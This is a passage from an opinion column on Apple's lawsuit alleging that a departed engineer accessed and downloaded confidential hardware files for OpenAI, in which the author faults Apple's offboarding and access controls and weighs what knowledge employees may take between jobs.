<p class="wp-block-paragraph">But in terms of equipment with high-level access, why weren’t all privileges revoked, both for the employee and any and all company-issued devices? Did they not maintain a remote-wipe capability for these devices? Although remote-wipe is usually used when devices are missing or stolen, it should work as well when a departing employee refuses to return company equipment. </p>



<p class="wp-block-paragraph">According to Apple, Liu apparently had help at Apple from Tang Yew Tan, who was supposedly also interviewing with OpenAI. “While employed by OpenAI, [Liu] accessed and used his former colleague’s Apple-issued work computer that was authenticated to Apple’s network, without Apple’s authorization.”</p>



<p class="wp-block-paragraph">Apple tried to make much of this Liu’s fault. Legally, yes, there might be liability there; still, Apple made itself look as if it couldn’t protect its own data. “Upon discovering that he had this unauthorized access to Apple’s systems, [the former employee] did not report it, return his stolen Apple-issued work laptop or delete the program that allowed the access.” </p>



<p class="wp-block-paragraph">Really, Apple? Your data-protection plan relies on ex-employees to “delete the program that allowed the access”? I’m not so sure you didn’t bring some of this data-leakage on yourselves. </p>



<p class="wp-block-paragraph">This gets worse: “Over several weeks, while developing hardware for OpenAI, Mr. Liu surreptitiously accessed and downloaded dozens of Apple’s confidential hardware-related files, including voluminous, detailed information about unreleased products, engineering presentations, technical specifications, and proprietary project data.”</p>



<p class="wp-block-paragraph">Setting aside the issue of privileges, access, and unreturned equipment that apparently had its own privileges, that statement points to massive data exfiltration from Apple systems. Even if it is coming from a current employee, why didn’t that raise any red flags? </p>



<p class="wp-block-paragraph">Let’s get back to the broader implications. When professionals move from one company to another, they — of course — are bringing their experience and knowledge with them. Can Apple reasonably tell them that they can’t do so? Isn’t that experience and knowledge <em>exactly</em> why another company would want to hire them?</p>



<p class="wp-block-paragraph">Now, to be sure, stealing diagrams and product spec sheets is a clear violation. Let’s say Apple spent a lot of money on some hardware research projects. A member of that technical team would learn an awful lot, all on Apple’s dime. </p>



<p class="wp-block-paragraph">But is it fair and reasonable for Apple to say that the former employee can’t leverage that knowledge at his or her next job? </p>



<p class="wp-block-paragraph">This brings us back to the point Wilkes made: If Apple is going to try to prevent any former employee from leveraging on-the-job experience, then it should instruct all new employees not to use anything they learned in a previous job. </p>



<p class="wp-block-paragraph">That would be ridiculous. Companies pay for experienced talent because of that experience. Why pay for expertise if you insist employees not leverage any of it?</p>



<p class="wp-block-paragraph">Then there’s the amorphous nature of knowledge. So, it’s wrong to take detailed diagrams and spec details and hand them over to a new employer. But what if that worker heading out the door memorizes the documents (photographic memory) a day before resigning? Is a person prohibited from using something from memory?</p>



<p class="wp-block-paragraph">There’s also the fruit-of-the-poisonous tree legal argument. Even if a former employee doesn’t directly use stolen data, what if their knowledge leads to other money-saving insights for the new employer? </p>



<p class="wp-block-paragraph">Given that Apple hires as many specialists as it loses to rivals, wouldn’t it make sense to leverage everything your workforce knows and then let new employers do the same? But before you do that, Apple, tighten your exiting employee tech controls. </p>



<p class="wp-block-paragraph">Then maybe you wont’t have to file lawsuits like this down the road.</p>
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